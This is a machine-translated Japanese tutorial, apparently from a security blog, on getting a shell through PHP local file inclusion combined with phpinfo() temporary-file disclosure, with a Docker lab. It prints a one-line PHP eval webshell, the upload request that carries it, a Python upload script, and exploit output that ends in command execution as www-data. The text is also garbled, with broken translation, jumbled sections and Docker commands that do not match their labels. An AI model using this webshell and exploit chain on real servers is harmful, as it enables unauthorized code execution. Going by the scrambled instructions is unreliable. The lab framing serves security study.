PHP ローカル ファイルには、長い間、phpinfo に関する対応する記事が最初に提案されてきました。次の 2 つの記事を参照してください。悪用の原理は、php post を使用してファイルをアップロードして一時ファイルを生成し、phpinfo() で一時ファイルのパスと名前を読み取り、ローカルの脆弱性を含めて 1 文のバックドアを生成します。
このメソッドはローカルでのテストに成功しました。全員の学習を促進し、学習コストを削減するために、簡単にテストできるように Docker 環境が構築されています。構築された Docker を外部 VPS に配置し、github プロジェクト lfi_phpinfo の poc フォルダーにあるスクリプトを使用し、ローカルで実行しても、引き続き getshell を実行できます。これは、この方法が実行可能であり、高いネットワーク要件を必要としないことを示しています。
Docker Hub ミラー アドレス: janes/lfi_phpinfo
github プロジェクト アドレス: lfi_phpinfo
ソース コードは code ディレクトリに保存されており、docker を使用して再現できます。利用スクリプトは poc ディレクトリ
paper:
http://gynvael に保存されています。 coldwind.pl/download.php ?f=PHP_LFI_rfc1867_temporary_files.pdf
http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf
をサーバーに送信する php ファイル にファイル をアップロードするリクエストを送信すると、一時ファイルが生成されます。一時ファイルのパスと名前は phpinfo ページで直接確認できます。 。
PHP post メソッド経由でファイルをアップロードすると、サーバーはファイルの内容を保存するための一時ファイルを作成します。
HTTP プロトコルでのファイル転送を容易にするために、フォームベースの HTML ファイル転送メソッドが指定されています。
アップロード フォームの属性が enctype="multipart/form-" であることを確認してください。データの場合は、POST を使用する必要があります。参照: php file-upload.post-method
PHP エンジンは、enctype="multipart/form-data" などのリクエストを次のように処理します。
PHP エンジンは、まずファイルの内容を一時ファイルに保存し、その後、一時ファイルを含む php + ランダムな文字で対応する操作を実行します。 path. , name
html フォーム
ブラウザアクセス、upload.html、アップロードファイル file.txt
#!html<!doctype html><html><body> <form action="phpinfo.php" method="POST" enctype="multipart/form-data"> <h3> Test upload tmp file</h3> <label for="file">Filename:</label> <input type="file" name="file"/><br/> <input type="submit" name="submit" value="Submit" /></form></body></html>
burp 次のように POST 情報を表示します
#!php<?phpeval($_REQUEST["cmd"]);?>
ブラウザアクセス、phpinfo は次の情報を返します:
#!bashPOST /LFI_phpinfo/phpinfo.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/LFI_phpinfo/upload.htmlConnection: closeContent-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112Content-Length: 368-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="file"; filename="file.txt"Content-Type: text/plain<?phpeval($_REQUEST["cmd"]);?>-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="submit"Submit-----------------------------11008921013555437861019615112--
tmp_name パスの取得
#!php_REQUEST["submit"] Submit_POST["submit"] Submit_FILES["file"] Array ( [name] => file.txt [type] => text/plain [tmp_name] => /tmp/phpufdCHh [error] => 0 [size] => 33 )
#!pythonimport requestshost = '127.0.0.1'url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)file_ = '/var/www/LFI_phpinfo/file.txt'response = requests.post(url, files={"name": open(file_, 'rb')})print(response.text)
0x04 ローカル ビルド環境
#!php<tr><td class="e">_FILES["name"]</td><td class="v"><pre class="brush:php;toolbar:false">Array( [name] => file.txt [type] => [tmp_name] => /tmp/php7EvBv3 [error] => 0 [size] => 33)
firefox アクセス
#!bash$ python lfi_phpinfo.py 127.0.0.1LFI with phpinfo()==============================INFO:__main__:Getting initial offset ...INFO:__main__:found [tmp_name] at 67801INFO:__main__:Got it! Shell created in /tmp/gINFO:__main__:Wowo! \m/INFO:__main__:Shutting down...
getshell が成功したことを示し、自由にプレイできます~~
#!bashhttp://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
docker の基本的な使用法。ここでは詳しく説明しません。自分で Google で調べてください。イメージ ソースを構築するには 2 つの方法があります。github lfi_phpinfo の Dockerfile を使用して自分で構築するか、janes/lfi_phpinfo
-- [php 1="公式ソース" 2="2="2="2="2="言語=":5.6-apache""""""][/php] /php 5
テストを実行するための環境を構築します
github lfi_phpinfo のソース コードを取得し、 web ディレクトリに移動し、テスト用の環境の構築を開始します。実行するには 3 つの方法があります
方法 2 ビルドされたイメージを使用しますjanes/ lfi_phpinfo はテストを実行します
#!bashdocker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
方法 3 docker-compose を使用します
#!bashdocker pull "janes/lfi_phpinfo"docker run --rm -p "80:80" janes/lfi_phpinfo
その後、Python スクリプト getshell を使用できます
#!bash docker-compose up
PHPInfo を使用して LFI を実践するプロセスは、実際には記事を読むプロセスほどスムーズではありません。そのプロセス中に、いくつかの環境関連の問題が発生します。これらの問題を解決するにはエネルギーが必要です。これが、ネットワーク セキュリティ愛好家にとってより便利な学習環境を提供したいと考えた、Docker を使用したテスト環境のアイデアの源です。最後に、phpinfo を使用した LFI の調査に多大な支援を提供してくださった記事 [PHPInfo を使用した LFI ローカル テスト プロセス] の著者に感謝いたします。
#!bashpython lfi_phpinfo.py docker_host_ip